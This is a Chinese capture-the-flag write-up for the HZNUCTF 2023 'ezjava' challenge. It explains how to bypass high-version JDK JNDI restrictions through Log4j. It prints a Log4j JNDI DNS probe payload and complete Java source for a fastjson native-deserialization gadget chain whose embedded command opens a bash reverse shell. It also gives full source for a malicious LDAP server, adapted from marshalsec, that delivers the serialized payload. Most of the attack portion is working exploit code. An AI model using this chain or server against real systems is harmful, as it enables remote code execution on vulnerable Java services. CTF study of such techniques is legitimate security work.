ldap序列化利用绕过高版本jdk的JNDI题目
[HZNUCTF 2023 final]ezjava
这道题,困扰许久,不是题目逻辑,而是ldap服务起不了。
题目介绍:
Try to fxxk it ( Log4j
打log4j?
进网页,开局几个字,提示fastjson:1.2.48:
尝试一下常用的log4j2payload打一打DNS测一下:
{{urlenc(${jndi:dns://${sys:java.version}.xxxxx})}}
但dns容易没回显,不知道为啥。
得到回显:
可以看到版本为jdk8u222,这里可以看到是不能jndi一把梭的版本。
绕过高版本jdk打jndi有两个方法,一个是找类似BeanFactory利用本地的工厂类完成class链子,还有一个是用恶意序列化数据打ldap。
然而它也提示了fastjson,这里我们采取后者的打法,把fastjson制造的恶意字节码传过去反弹shell。
而1.2.48有其他的poc,我采用的是更高版本的1.2.83的原生反序列化,更高级()
上poc:
package com.fastjsonpoc; import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class FastNativeAll { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,<base64反弹shell命令>}|{base64,-d}|{bash,-i}")}); setValue(templates, "_name", "qiu"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize)); // ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); // objectInputStream.readObject(); } }
这个的依赖随便配一下就行了,带上fastjson版本就行:
运行生成base64编码后的恶意序列化数据,保存到1.txt。
然后是恶意ldap服务:
package com.jndibypass; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import org.apache.commons.io.FileUtils; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.File; import java.io.IOException; import java.net.InetAddress; import java.net.URL; //高版本LDAP绕过 public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] tmp_args ) throws Exception{ if (tmp_args.length < 2) { System.out.println("Usage: java xxx.jar <IP> <file>"); System.exit(1); } String ip = tmp_args[0]; String[] args = new String[]{"http://" + ip +"/#Evail"}; String payload = ""; File file = new File(tmp_args[1]); try { payload = FileUtils.readFileToString(file); System.out.println(payload); } catch (IOException e) { e.printStackTrace(); } int port = 6666; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; private String payload; public OperationInterceptor ( URL cb , String payload) { this.codebase = cb; this.payload = payload; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e, payload); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaSerializedData", Base64.decode(payload)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
这里要把这个打成jar包,然后写了两个传入命令行参数的交互,前面一个是起服务的vps,后面一个就是上面那个1.txt。
打成jar包的去搜一下IDEA操作就行,跟着来,因为这个方法是marshalsec改的,所以把那个的pom.xml抄过来maven reload project就行了。
mbechler/marshalsec (github.com)
然后就会报错,找不到主类。
大部分原因是java版本的问题,记得一定要是java8,而且最好跟这个8u222接近,我用的8u401。
其他的原因最好自己搜搜,因为一千个人对这个java有一千个问题,我采用了其他人成功的方法也会失败,所以有缘人自会搜到,在这里我就不乱写了。
猜你想找:Plugin 'maven-assembly-plugin:' not found - 递茶大户 - 博客园 (cnblogs.com)
原理我会接着在下面的blog写详细,所以这里注重打法。
然后一把梭:
卡住的时候它是又臭又长,做出来的时候是神清气爽。
这就是java的魅力。
参考: